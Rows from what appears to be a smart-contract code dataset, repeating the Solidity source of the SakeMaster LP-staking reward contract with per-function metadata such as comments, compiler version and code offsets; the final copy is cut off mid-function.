migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
massUpdatePools
function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } }
// Update reward vairables for all pools. Be careful of gas spending!
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 8206, 8391 ] }
3,698
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
updatePool
function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; }
// Update reward variables of the given pool to be up-to-date.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 8462, 9362 ] }
3,699
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
deposit
function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); }
// Deposit LP tokens to SakeMaster for SAKE allocation.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 9426, 10053 ] }
3,700
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = 